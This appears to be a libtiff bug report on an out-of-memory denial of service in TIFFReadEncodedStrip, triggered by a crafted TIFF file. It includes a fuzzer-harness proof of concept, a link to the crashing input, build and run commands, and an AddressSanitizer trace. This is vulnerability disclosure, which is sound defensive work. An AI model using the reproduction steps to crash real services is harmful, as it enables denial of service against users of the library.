An OOM bug found in TIFFReadEncodedStrip
# Summary
A out-of-memory issue in `TIFFReadEncodedStrip()` could be triggered by passing a craft tiff file.
Remote attackers could utilize this bug perform arbitary size allocation and cause deny-of-services.
# Version
commit: 4d0329a4539550f2396772b8c4c60c5fecdda7db Sep 15
# POC program
```
// poc.cc
#include <tiffio.hxx>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <vector>
#include <fstream>
#include <iostream>
#include <sstream>
extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
if(size<=0) return 0;
// Open input tiff in memory
std::istringstream s(std::string(data, data + size));
TIFF* in_tif = TIFFStreamOpen("MemTIFF", &s);
if (!in_tif) {
return 0;
}
uint32_t width, height;
uint16_t bits_per_sample, samples_per_pixel;
// Read the required tiff properties
TIFFGetField(in_tif, TIFFTAG_IMAGEWIDTH, &width);
TIFFGetField(in_tif, TIFFTAG_IMAGELENGTH, &height);
TIFFGetField(in_tif, TIFFTAG_BITSPERSAMPLE, &bits_per_sample);
TIFFGetField(in_tif, TIFFTAG_SAMPLESPERPIXEL, &samples_per_pixel);
// Calculate the default strip size
uint32_t strip_size = TIFFDefaultStripSize(in_tif, width);
// Allocate memory for a single strip
tdata_t strip_data = _TIFFmalloc(strip_size);
if (!strip_data) {
TIFFClose(in_tif);
return 0;
}
uint32_t strip_count = (height + strip_size - 1) / strip_size;
// Read each strip
for (uint32_t strip_index = 0; strip_index < strip_count; strip_index++) {
tmsize_t strip_offset = strip_index * strip_size;
// Read the strip data
tmsize_t strip_bytes_read = TIFFReadEncodedStrip(in_tif, strip_index, strip_data, strip_size);
// Perform operations on the strip data (e.g. image processing)
// ...
// Write the strip data back to the tiff file
tmsize_t strip_bytes_written = TIFFWriteEncodedStrip(in_tif, strip_index, strip_data, strip_bytes_read);
if (strip_bytes_written < 0) {
_TIFFfree(strip_data);
TIFFClose(in_tif);
return 0;
}
}
_TIFFfree(strip_data);
TIFFClose(in_tif);
return 0;
}
```
# Details about the bug
This bug is similar to https://gitlab.com/libtiff/libtiff/-/issues/619, see in *ASAN Message*, the poc program called the same `PixarLogSetupDecode()`, but the entry point is the API `TIFFReadEncodedStrip`.
In the provided [triger_input_36](https://github.com/PromptFuzz/crash_inputs/raw/main/libtiff/oom1/triger_input_36),
`td->td_imagewidth` (corresponding to the bytes of offset: 0xAA-0xAB) and `td->td_imagelength` (corresponding to the bytes of offsets: 0x012E-0x0131) are read to "0x1000" (1 KB) and "0x10000000" (1 GB).
Note that, the bug cannot reproduce on the [triger_input_31](https://github.com/PromptFuzz/crash_inputs/raw/main/libtiff/oom1/triger_input_31) which used in https://gitlab.com/libtiff/libtiff/-/issues/619, though the problem bytes and offsets are the same. They are not the same issue. The `TIFFReadEncodedStrip()` parses more bytes form the input file.
# Steps to reproduce
1. Download the poc input: [triger_input_36](https://github.com/PromptFuzz/crash_inputs/raw/main/libtiff/oom1/triger_input_36)
(How one can reproduce the issue - this is very important)
2. Built libtiff with ASAN
3. Compile the Poc program:
```
clang++ -fsanitize=fuzzer,address -g -O0 -I/libtiff/include poc.cc -o poc.out libtiff.a -lz -ljpeg -llzma -ljbig
```
4. Trigger the bug:
```
./poc.out triger_input_36
```
# Platform
Ubuntu 22.04 Clang 15.0.0
# ASAN message
```
==289853==ERROR: AddressSanitizer: requested allocation size 0x20000000002 (0x20000001008 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
#0 0x55eadfe3d87e in malloc /llvm/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:69:3
#1 0x55eadfea2bac in _TIFFmalloc /libtiff/tif_unix.c:326:13
#2 0x55eadfe992cb in _TIFFmallocExt /libtiff/tif_open.c:129:12
#3 0x55eadfed9797 in PixarLogSetupDecode /libtiff/tif_pixarlog.c:776:28
#4 0x55eadfedf474 in PredictorSetupDecode /libtiff/tif_predict.c:131:10
#5 0x55eadfe9bc6e in TIFFStartStrip /libtiff/tif_read.c:1400:14
#6 0x55eadfe9b5bd in TIFFFillStrip /libtiff/tif_read.c:904:13
#7 0x55eadfe9ac43 in TIFFReadEncodedStrip /libtiff/tif_read.c:546:10
#8 0x55eadfe7aa8c in LLVMFuzzerTestOneInput /poc.cc:56:37
```
issue